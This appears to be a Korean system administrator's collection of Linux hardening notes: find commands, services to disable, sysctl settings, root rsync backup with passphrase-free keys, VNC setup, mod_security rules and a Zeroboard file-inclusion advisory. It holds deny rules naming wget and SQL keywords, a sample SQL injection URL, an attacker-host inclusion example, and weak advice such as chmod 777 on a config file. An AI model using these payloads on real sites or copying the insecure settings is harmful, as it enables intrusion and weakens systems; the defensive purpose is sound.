find . -user [user] -exec chown [user].[group] {} \;
==> 해당 uid를 찾아 변경한다.

find . -type f -exec chmod 700 {} \;
현위치의 파일타입의 권한을 변경
find . -type d -exec chmod 600 {} \;
현위치의 디렉토리타입의 권한을 변경

find ./ -name "*" -exec grep -H hack {} \;
find ./ -type f -print | xargs grep -H "hack" /dev/null
find ./ -type f -exec grep 'hack' {} /dev/null \;
egrep -r hack *

==> hack 이라는 단어가 들어가는 문자포함 파일을 찾는다
    세번째가 좀 좋음.


find / -user 427 -print

==> uid가 427인 파일들 찾음


find / -cmin -5

==> 최근 5분안에 생성되거나 업데이트된 파일을 보여준다.


find / -perm -0002 -type d -print

==> 일반유저가 쓰기권한이 있는 디렉토리를 보여준다.

find / -perm -0002 -type f -print

==> 일반유저가 쓰기권한이 있는 파일를 보여준다.


find / -nouser -o -nogroup -print

==> 유저나 그룹이 없는 파일을 보여준다.


find / -mtime 2 -o -ctime 2

==> 지난 2일 사이에 변경된 파일을 보여준다.

손혁진


1. kill 해야할 서비스

apmd
cups
xntpd
portmap
sound
netfs
rstatd / rusersd / rwhod / rwalld 
bootparamd
squid
yppasswdd
ypserv
dhcpd
atd
pcmcia
snmpd
routed
lpd
mars-nwe
nfs
amd
ypbind
xfs
innd
linuxconf


apmd : laptop의 전원관리에 필요
cups : 프린트 시스템이로 삭제
xntpd : network time protocol 사용 안하니 삭제
portmap : R로 시작하는 서비스의 포트 맵핑시켜주는 서비스  보안상 삭제한다.
sound : 사운드 지원이므로 삭제
netfs : nfs 클라이언트가 nfs 서버 마우트시 사용되므로 삭제
rstatd / rusersd / rwhod / rwalld  :  R로 시작하는 서비스 인증과정이 취약하고 remote에서 실행하므로 서비스 하지 않는다.
bootparamd : 하드나 플로피 등 부팅 수단이 없을때 사용하는 것으로 서비스 안함.
squid : squid 프록시 서버를 가동시 설정하므로 이용안하면 삭제
yppasswdd : NIS서버에 사용되는 것으로 필요없다.
ypserv : NIS서버에 사용되는 것으로 필요없다.
dhcpd : dhcp에 사용되는 것으로 이용안하면 필요없음
atd : 예약 서비스로 cron이 있으므로 삭제
pcmcia : 노트북에 사용되는 것으로 삭제
routed : 라우터가 아닌 일반 서버에서는 삭제
lpd : 프린트 서버가 아니면 삭제
mars-nwe : netware 에 쓰이는 파일이나 프린트 서버에 사용되는 것으로 삭제함
nfs : nfs 이용시 놔두고 아니면 삭제
amd : 오토마운트 데몬으로 보안 취양석있으므로 사용 안하면 삭제
ypbind : NIS에 사용, 이용 안하면 삭제함.
xfs : X font server 로 x-windows사용 안하면  삭제한다.
innd : News서비스 사용시 이용되므로 삭제
linuxconf : 원격지 브라우저를 통해 리눅스 시스템의 설정변경하는것으로 보안상 않좋으니 삭제한다.

2. 명령어 권한 제한

chmod 700 명령어
- root만 사용하게 하고 일반사용자는 제한시킨다.
/tmp와 같은 악성파일업로드하여 공격하는 경우가 있는데
업로드 하여도 압축을 못풀도록 tar나 unzip의 파일권한을 700으로 하면 되겠다.
단, 일반 사용자 모두 명령어 사용을 못하니 주의
wget 도 700으로 하여 파일을 다운 못받도록 제한한다.

파일을 변조하는 경우도 있는데 파일속성을 주어 변경하지 못하게 하는 방법도 있다.
i옵션 속성을 주어 변경이 안되도록 지정
lsattr 을 통해 속성 확인
적용 : chattr +i 명령어
해제 : chattr -i 명령어
모두해제 : chattr -suSiadAc 명령어파일
***이 명령어는 ext2 파일시스템 개발자가 개발하였으며 ext2, ext3에서만 잘 작동한다.

change
gpasswd
wall
chfn
chsh
newgrp
write
at
usernetctl
userhelper
mount
umount
lockdev
ping
traceroute
passwd
crontab

3. yum을 통한 최신 업데이트

yum update -y

4. 커널 파라미터 값을 최적화

/etc/sysctl.conf 파일에서 설정한다

확인 : sysctl -a
질의 : sysctl -n
변수 특정값 설정 : sysctl -w
적용 : sysctl -p

특별한 시스템이 아니라면 파라메터값을 다음과 같이 정의한다.
0 = off   /  1 = On

echo "1" > /proc/sys/net/ipv4/tcp_syncookies
syn 플루딩 공격대응으로 킨다

echo "0" > /proc/sys/net/ipv4/tcp_timestamps
불필요함으로 off

echo "1" > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts
smurd 공격에 악용되므로 broadcasts 주소를 통한 icmp echo에 대해 응답하지 않는다.

echo "0" > /proc/sys/net/ipv4/conf/all/accept_source_route
스푸핑을 막기위해 라오트 패킷허용을 막음.

echo "0" > /proc/sys/net/ipv4/ip_forward
다른 시스템으로 패킷이 포워딩되지 않도록한다.

echo "0" > /proc/sys/net/ipv4/conf/all/accept_redirects
imcp redirects 허용하지 않는다.

echo "1" > /proc/sys/net/ipv4/conf/all/log_martians
스푸핑된 파일이나 소스라우팅, 리다이렉트 패킷에 대한 로그를 남긴다.

echo -e "32768\t61000" > /proc/sys/net/ipv4/ip_local_port_range
시스템 로그포트의 범위를 지정

echo "1024" > /proc/sys/net/ipv4/tcp_max_syn_backlog
syn플루딩 공격과 관련설정
backlog queue 사이즈를 늘려 공격대응

위 설정은 리부팅시 초기화 되므로 /etc/rc.local 에 내용을 추가하여 리부팅시 바로 적용을 하던가
아니면 /etc/sysctl.conf 에다가 설정을 한다.

http://www.frozentux.net/documents/ipsysctl-tutorial/
여기서 여러 파라메터값을 참조하면 되겠다.

손혁진

 

====원격에서 rsync로 백업당기기(로그인 동기화걸기)=====

** 서버 두대를 트러스트 관계로 만들기(백업서버와 웹서버를 운용중에 있다.)**

     - 백업서버에서 인증키를 생성한다.
 
 #/usr/bin/ssh-keygen -t dsa
  Generating public/private dsa key pair.
  Enter file in which to save the key (/root/.ssh/id_dsa):   Enter
  Enter passphrase (empty for no passphrase):   Enter
  Enter same passphrase again:   Enter
  Your identification has been saved in /root/.ssh/id_dsa.
  Your public key has been saved in /root/.ssh/id_dsa.pub.
  The key fingerprint is:
  a5:41:46:fe:37:f5:54:1c:3f:7b:f3:63:16:ea:34:fd root@www.rickinc.com
    
     - 백업서버에서 생성한 dsa키를 복사해서 웹서버로 전송한다.
 
 #/usr/bin/scp .ssh/id_dsa.pub root@192.168.0.100:
  The authenticity of host 'rickinc.com (192.168.0.100)' can't be established.
  RSA key fingerprint is 0c:99:a2:e4:1b:2f:fc:b2:46:f5:a6:b5:cd:12:2a:ec.
  Are you sure you want to continue connecting (yes/no)? yes
  Warning: Permanently added 'rickinc.com,192.168.0.100' (RSA) to the list of known hosts.
  root@192.168.0.100's password:  (서버 계정의 패스워드 입력)
  id_dsa.pub           100% |*********************************************************************************|   608       00:00   


      - 웹서버의 /root에 보면 백업서버의 인증키가 있을 것이다.(id_dsa.pub)
 #cd /root
 #ls -al
 #cd /root/.ssh
 #mv /root/id_dsa.pub
 #/bin/cat id_dsa.pub > .ssh/authorized_keys (파일을 열어서 잘 실행되었는지도 확인해 본다.)
 
     - 보안을 위해서 사용한 인증키 파일을 삭제하고 키가 저장된 파일의 퍼미션을 변경해 준다.
 #rm -f id_dsa.pub

 #chmod 700 .ssh

 #chmod 644 .ssh/authorized_keys
 
      - 로그인 없이 동기화가 잘 되는지 rsync명령어로 확인 해 본다.
                                        원격 서버            원격지 폴더     저장될곳 
  #rsync -avrz -e ssh root@192.168.0.100:/home/smartidc /data
        (192.168.0.100번의 smartidc 폴더를 내서버의 /data에 동기화 시킨다) 


      - 백업서버에서 웹서버의 데이터를 당겨오는 rsync 스크립트 예제이다

 #!/bin/sh

 export LANG="en_US"
 PATH=/bin:/usr/bin
 DATE=`date +%F-%a`
 DAY=`date +%a`

 ### 원격지 실제IP 입력   ###
 REMOTE_IP1=192.168.0.100
 ### 백업서버 저장될위치 입력 ###
 REMOTE_DIR=/backup/$REMOTE_IP1

 ### 백업될 디렉토리 입력 ###
 BACKUP_1=/home
 BACKUP_2=/data/cgallery

 for BACKUP in $BACKUP_1 $BACKUP_2
 do
   rsync -avrz --delete -e ssh $REMOTE_IP1:$BACKUP $REMOTE_DIR || exit 1
 done


리눅스 설치후 삭제해야 할 패키지

anacron apmd at dhcpcd dosfstools eject hotplug ipchains ksymoops kudzu lokkit mailcap pciutils pump raidtools redhat-ogos
redhat-release setserial


anacron
apmd
at
dhcpcd
dosfstools
eject
hotplug
ipchains
ksymoops
kudzu
lokkit
mailcap
pciutils
pump
raidtools     리눅스 소프트웨어 레이드 설정시 사용   
redhat-logos
redhat-release
setserial    시리얼포트정보 알려줌

위 패키지들은 구버전 리눅스에 사용되는 것으로 확인후 삭제한다.
용도에 따라 필요한 경우도 있음

------------------------------------------------------------------------------------

불필요 문서 삭제

rm -f /usr/share/doc/*


------------------------------------------------------------------------------------

리눅스 ctrl+alt+del 키를 이용한 부팅 막기

vim /etc/inittab 에서 다음을 주석처리

#ca::ctrlaltdel:/sbin/shutdown -t3 -r now

------------------------------------------------------------------------------------


리눅스 .bash_history 에 저장되는 명령어 라인을 제한하기

vim /etc/profile

HISTSIZE=10
원하는 라인 수 만큼 설정

HISTFILESIZE=0
=> 로그아웃시 .bash_history 파일을 삭제하게하여 침입자가 로그인 안된상태에서 해당파일을 사용못하게한다.

------------------------------------------------------------------------------------

suid / sgud  가 설정된 파일

 

s비트가 설정된 모든파일 찾기
=> find / -type f \( -perm -04000 -o -perm -02000 \) \-exec ls -lg {} \;
만약 파일시스템이 더 있다면
=> find / \ (! -fstype nfs -o -prune \) -type f ( -perm -04000 -o -perm -02000 \) -exec ls -l {} /;

s비트 설정 해제하기

chmod a-s /usr/bin/
                   chage gpasswd wall chfn chsh newgrp write
          /usr/sbin/
                    usernetctl traceroute
          /bin/
               mount umount ping
          /sbin/
         netreport


------------------------------------------------------------------------------------

숨김파일 찾기

find / -name ".." -print -xdev

find / -name ".*" -print -xdev | cat -v


외부에서 쓰기권한 허용된 파일 찾기

find / -type f \( -perm -2 -o -perm -20 \) -exec ls -lg {} \;


외부에서 쓰기권한 허용된 디렉토리 찾기

find / -type d \( -perm -2 -o -perm -20 \) -exec ls -ldg {} \;

소유자 없는 파일 찾기

find / -nouser -o -nogroup

------------------------------------------------------------------------------------

 


mod_security 룰 설정 내용

<IfModule mod_security.c>
# Turn the filtering engine On or Off
SecFilterEngine On   # => 엔진 사용유무 설정

# Change Server: string
SecServerSignature " Microsoft-IIS/5.0"
# httpd.conf 에서 ServerTokens Prod 이용
# The audit engine works independently and can be turned On or Off on the per-server or
# on the per-directory basis. "On" will log everything,"DynamicOrRelevant" will log dynamic
# requests or violations, and "RelevantOnly" will only log policy violations
SecAuditEngine RelevantOnly
# => 비정상적인 것에 대하서 판결하겠다

# The name of the audit log file
SecAuditLog logs/audit_log
# => 로그를 어디에 저장할 것인가 로그 저장경로

# Should mod_security inspect POST payloads
SecFilterScanPOST On
# => post로 오는것도 필터링을 할 것인지 설정

# Action to take by default
SecFilterDefaultAction "deny,log,status:403"
# => 디폴트 액션 - 필터링 방법 " 차단하고 로그를 남기고 403에러를 내겠다"

SecFilterSelective REQUEST_METHOD "!(GET|POST|HEAD)" deny,log,status:403
# => 리퀘스트 메소드가 get post head 가 아닌경우 차단하고 로그 남기고 403에러를 낸다.


# Require Content-Length to be provided with
# every POST request
SecFilterSelective REQUEST_METHOD "^POST$" chain
SecFilterSelective HTTP_Content-Length "^$"
SecFilterSelective ARG_username admin chain
SecFilterSelective REMOTE_ADDR "!^211.47.64.5$“
SecFilterSelective REMOTE_ADDR "^127.0.0.1$" nolog,allow
SecFilterSelective THE_REQUEST "wget "
SecFilterSelective THE_REQUEST “lynx”
SecFilterSelective THE_REQUEST "mkdir"
SecFilterSelective THE_REQUEST "/tmp"
SecFilterSelective THE_REQUEST "/bin"
SecFilterSelective THE_REQUEST "/admin_/" log,pass
SecFilterSelective THE_REQUEST "/₩.bash_history"
# WEB-CGI bash access
SecFilterSelective THE_REQUEST "/bash" log,pass
SecFilterSelective THE_REQUEST "awstats" chain
SecFilterSelective ARGS "(pluginmode|loadplugin|debug|configdir|perl|cgi|chmod|exec|print)"

 


SecFilterSelective OUTPUT "Fatal error:" deny,status:500
# => 서버측 기반 프로그램 실행시 Fatal error 가 나오면 차단을 하고 500에러를 낸다
#    비정상 sql문이나 장애발생시 에러메세지를 통하여 페이지를 보여주지 않고 500에러로 출력

ErrorDocument 500 /php-fatal-error.html
SecFilterOutputMimeTypes "(null) text/html text/plain"
# output은 html이나 txt만 모니터링하도록 설정


<Location /cgi-bin/FormMail>
# Reject request where the value of parameter "recipient"
# does not end with "@test.com"
SecFilterSelective ARG_recipient "!@test.com$">
# => 폼메일에서 @test.com 이 아니면 차단을 한다
</Location>


SecUploadDir /tmp
SecUploadKeepFiles On
SecUploadApprovescript /full/path/to/the/script.sh  # => 바이러스 체크 스크립트지정
# 업로드되는 파일에 대해 바이러스 체크등

SecFilter "delete[[:space:]]+from"
SecFilter "insert[[:space:]]+into"
SecFilter "select.+from“
SecFilter "drop[[:space:]]table"
</IfModule>


http://www.samplesite.com/login.php?username=admin';
DROP%20TABLE%20users--


1. 패키지 설치
VNC 패키지가 설치되어 있는지 확인합니다.

# yum install vnc
 vnc-server-4.1.2-14
 vnc
설치한다.

# vi /etc/sysconfig/vncservers   에서 마지막줄에 추가해 준다.
===================================================================
VNCSERVERS="1:root"
VNCSERVERARGS[1]="-geometry 1280x1024"
===================================================================
1) 1: X-window 화면 번호 (번호에 따라 접속포트가 변경됩니다. [예] 5900 + 1 = 5901 : 접속 포트 번호)
2) root : 접속자를 말합니다. 보안상 root가 아닌 일반계정으로 설정하는게 좋습니다.
3) 두개 이상의 계정으로 접속할 경우, 상단 두줄을 계속해서 똑같이 하단에 복사후 사용하시면 됩니다.


2. 암호를 설정한다
#cd ~
#mkdir .vnc
#cd .vnc
#vncpasswd ‘패스워드입력’
이제 다시 vnc서비스를 재시작하자
그러면 /root/.vnc 디렉토리 밑에 xstartup파일이 생성될 것이다


3. VNC 화면을 설정한다.
===================================================================
#!/bin/sh

# Uncomment the following two lines for normal desktop:
# unset SESSION_MANAGER
# exec /etc/X11/xinit/xinitrc

[ -x /etc/vnc/xstartup ] && exec /etc/vnc/xstartup
[ -r $HOME/.Xresources ] && xrdb $HOME/.Xresources
xsetroot -solid grey
vncconfig -iconic &
xterm -geometry 80x24+10+10 -ls -title "$VNCDESKTOP Desktop" &
#twm &
gnome-session &
#startkde &
==================================================================

#twm & 은 화면에 ssh창만 떠있다.
gnome-session &  은 그놈으로 접속할때
#startkde &  은 KDE로 접속할때

C-Dragon의 경우에는 # yum groupinstall "GNOME Desktop Environment"
을 설치해주고 정상적으로 접속이 가능했다.

 

[접속이 안될경우]
1) 방화벽 확인
iptables 등 방화벽에 해당포트가 열려있는지 확인합니다.
아래 명령으로 VNC서버가 사용하는 포트 확인이 가능합니다.
# netstat -nlp | grep vnc

2) X-window 설치 여부 확인
설치가 되지 않았을 경우 아래와 같이 설치를 해줍니다.
# yum groupinstall 'X Window System'

3) GUI 방식 설치
설치가 되지 않았을 경우 아래와 같이 설치를 해줍니다.
KDE 설치
# yum groupinstall "KDE (K Desktop Environment)"
GNOME 설치
# yum groupinstall "GNOME Desktop Environment"

 

4) 접속시 검은 바탕화면에 마우스 포인트만 보일 경우

/etc/sysconfig/vncserver 파일의 퍼미션을 변경 합니다.

# chmod 777 /etc/sysconfig/vncserver


시스템의 경우 /etc/sysconfig/i18n 에 문자셋 정의를 할 수 있다.

허나 웹의 경우는 웹서버 설정에서 해주어야 하는데
아파치의 경우 httpd.conf 파일에서 설정 할 수 있으며,
mod_url 설치가 선행 되어야 적용 가능하다

]# yum install mod_url

설치 후
httpd.conf 에서
LoadModule  redurl_module    modules/mod_url.so
로 로드가 되어 있는지
그리고

<IfModule mod_url.c>
  CheckURL On       < 우리 웹서버에서는 Off 로 되어 있는 경우와 On 되어 있는경우가 있으니 주의
  ServerEncoding EUC-KR
  ClientEncoding UTF-8
</IfModule>

가 있는지 확인 한다 (없으면 정리)


고객 계정으로 세팅 위해서는

virtualhost 에

<IfModule mod_url.c>
             CheckURL On    <- 혹은 Off
</IfModule>

추가 해준다

제로보드를 포함한 php 보드들의 취약점을 통하여 인잭션 공격이 성행 중.

예 : nanuminet.com/bbs/skin/zero_vote/error.php?dir=http://[attacker]

위와 같은 방법으로 공격자의 url로 연결 하여 시스템에 공격을 시행하는 인잭션 방법이다.

이미 해외 여러 크래커들 사이에 공개된 취약점이며, 근래들어 이로인해 웹서버 부하가 증가하는
현상이 자주 일어나고 있다.

임시적인 방법으로는 php.ini의 옵션 중 allow_url_fopen=off 로 변경하는 방법이 있으나,
적용을 위해서는 웹소스에 경로 지정을 수정 해 주어야 한다.

예1) 제로보드 상단에 불러올 파일을
http://홈주소/aaa/bbb.htm 으로 지정했다면
../aaa/bbb.htm 으로 변경

예2) 제로보드 상단에 불러올 파일을
http://홈주소/head.htm 으로 지정했다면
../head.htm 으로 변경

예3) public_html/aaa.htm 파일에서 
include "http://홈주소/bbb/bbb.htm" 형식으로 작업이 되었다면

include "./bbb/bbb.htm" 혹은 
include "/home1/아이디/public_html/bbb/bbb.htm"


allow_url_fopen을 off 시키면 웹경로 형식(http://....)으로는 인클루드가 되지 않는다.


또한 웹개발자들은 php 보드 사용시 이 옵션과 관련된 보안 인식을 해야 하며,

공개 보드를 이용할 경우 해당 보드 제공 사이트에서 반드시 보안 패치를 받아

적용해야한다.


====== 한국정보보호 진흥원 권고 사항 


특히, 국내 홈페이지 게시판관련 프로그램인 '제로보드, 그누보드, KorWeblog, phpBB' 
프로그램을 사용하시는 업체 및 기관에서는 가능한 빨리 보안패치를 적용하여 주시기 바랍니다.

o 웹변조 관련 언론보도 URL 
http://www.etnews.co.kr/news/detail.html?id=200412310144 
http://www.inews24.com/php/news_view.php?q_serial=134690&g_menu=020200

□ 해당시스템 
웹서비스 및 게시판 구동 프로그램으로서 
o 제로보드 4.1 pl5 이전버전 
o 그누보드 3.41 이전버전 
o phpBB 2.0.11 이전버전 
o KorWeblog 1.6.2-cvs 및 이전버전

□ 영향 
o 원격의 해커가 웹서버 시스템 내 임의의 파일 읽기, 악성프로그램 주입 및 실행 등이
가능하며 해당 취약점을 이용한 홈페이지 대량 변조 등을 발생시킬 수 있음

□ 설명 
o 최근 PHP 및 게시판 구동 프로그램 취약점 등을 이용한 대량 홈페이지 변조가 발생함에
따라 웹서버관리자 및 홈페이지 운영자는 관련 프로그램의 신속한 업그레이드로 취약점
들을 패치하는 것이 필요함

□ 해결책 
o 웹서버 및 게시판을 최신버전으로 업그레이드 
o 자세한 내용은 아래 참조사이트를 참조

□ 참조사이트

o 제로보드 최신버전(4.1 pl5) 업그레이드 
(http://www.nzeo.com/bbs/zboard.php?id=main_notice&no=176
o 그누보드 최신버전(3.41) 업그레이드 
(http://sir.co.kr/?doc=bbs/gnuboard.php&bo_table=pds&page=1&wr_id=1910
o phpBB 최신버전(2.0.11) 업그레이드 
(http://www.phpbb.com/downloads.php
o KorWeblog 취약점 해결방안 
- 설치완료 후 불필요한 설치파일 삭제 
http://kldp.net/tracker/index.php?func=detail&aid=300654&group_id=13&ati...
o 태크노트 취약점 해결방안 
- Lib-5.cgi 및 print.cgi에 소스 수정 
http://www.technote.co.kr/cgi-sys/cgiwrap/cgitour/techtop/technote2/read.cgi?board=notice

+ Recent posts